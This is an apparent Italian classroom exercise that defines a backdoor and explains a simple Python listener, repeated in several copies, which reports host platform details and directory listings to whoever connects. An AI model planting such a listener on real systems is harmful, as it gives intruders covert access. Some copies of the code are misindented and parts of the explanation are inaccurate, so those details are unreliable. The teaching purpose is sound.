



ESERCIZIO BACKDOOR

MATTIA PASTORELLI



CONSEGNA

- L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.



COS'E' UNA BACKDOOR?

- Una backdoor è una vulnerabilità o una porta segreta presente in un sistema informatico. (es. programma, computer ecc.) Questa porta viene creata intenzionalmente da un programmatore, con scopi legittimi, al fine della manutenzione del sistema.
- Oppure da un black hat, al fine di ottenere l'accesso non autorizzato al sistema e potrà introdurre malware per scopi dannosi. Ciò renderà possibile l'accesso a qualsiasi riavvio del dispositivo/programma infettato.

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- Importiamo i moduli necessari: «Socket» per la gestione delle connessioni, «Platform» per ottenere informazioni sulla piattaforma e «Os» per operazioni di sistema. Tutto ciò fornirà le funzioni per la comunicazione di rete in Python
- SRV_ADDR = E' l'indirizzo IP del server ed è impostato con gli asterischi, ciò significa che il server sarà disponibile su tutte le interfacce di rete.
- SRV_PORT= E' il numero della porta sulla quale il server ascolterà le connessioni in ingresso

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = "*"
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- ▶ `s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)` : il primo pezzo '`socket.AF_INET`) specifica in questo caso che il socket è di tipologia IPv4 e il secondo pezzo '`socket.SOCK_STREAM`) specifica che si tratta di un socket TCP.
- ▶ `s.bind((SRV_ADDR, SRV_PORT))`: Questo comando associa il socket all'indirizzo IP e alla porta precedentemente specificate con `bind()`
- ▶ `s.listen(1)`: Imposterà il socket in modalità «ascolto» e il parametro 1 indica che verrà ascoltata solamente una connessione per volta

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```


SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- `Connection, address = s.accept():`
Mette in attesa il programma finché non viene ricevuta una connessione.
- `Print('client, connected: ', address):`
Stamperà un messaggio indicando che il client si è connesso.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)

connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- While 1: Dopo il messaggio di print, troviamo la funzione while, ciò significa che questo ciclo sarà attivo finchè verrà soddisfatta la condizione, cioè di una connessione.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)
while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- Try / except: questa funzione/blocco serve a gestire eventuali eccezioni durante la ricezione dei dati
- Data= connection.recv(1024): E' la condizione preimpostata, che limita la ricezione dei dati inviati dal client ad una soglia di 1024 byte e li memorizza nella variabile 'data'.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```


SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- ▶ All'interno del ciclo 'while' troviamo una funzione 'if/elif'. Questa funzione serve a chiarire l'azione che avverrà se il client invierà uno dei seguenti numeri «1,2».
- ▶ Se il comando inviato è (1), il server risponde con informazioni sulla piattaforma.
- ▶ 'platform.platform()' restituisce una stringa che rappresenta il nome della piattaforma utilizzata.
- ▶ Platform.machinne() rappresenta, attraverso una stringa, l'architettura della macchina utilizzata.
- ▶ Le informazioni vengono concatenate in una stringa 'tosend' e inviate al client utilizzando 'connection.sendall(tosend.encode())'.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- Se il comando è '2', il server si aspetta che il client invii un percorso. Quindi, riceve ulteriori dati tramite 'connection.recv(1024)' visto precedentemente.
- Dopodichè, il server proverà ad ottenere la lista dei file nella directory specificata dal client usando 'os.listdir(data.decode('utf-8'))'. Questo utf-8 è la standardizzazione di codifica dei caratteri Unicode di tutto il mondo.
- Se il precedente passo viene compiuto, verrà creata una stringa 'tosend' che unirà i nomi dei diversi file trovati, separandoli con una virgola (es. file1, file2, ecc.) attraverso ','.join(filelist).
- Se si verifica un'eccezione, in questo caso viene ipotizzato che un percorso specifico sia inesistente, verrà impostato 'tosend' a 'wrong path'.
- Il tutto verrà inviato attraverso la string connection.sendall(tosend.encode()).

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())

    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())

    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

SPIEGAZIONE DEL CODICE DALL'ALTO VERSO IL BASSO

- ▶ Se il comando è '0' chiude la connessione corrente con il client utilizzando la stringa 'connection.close()'
- ▶ Dopodichè il server tornerà in attesa di una nuova connessione da parte del client, rendendolo nuovamente usufruibile da parte del programmatore/attaccante.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
            except:
                tosend = "Wrong path"
            connection.sendall(tosend.encode())
        elif(data.decode('utf-8') == '0'):
            connection.close()
            connection, address = s.accept()
```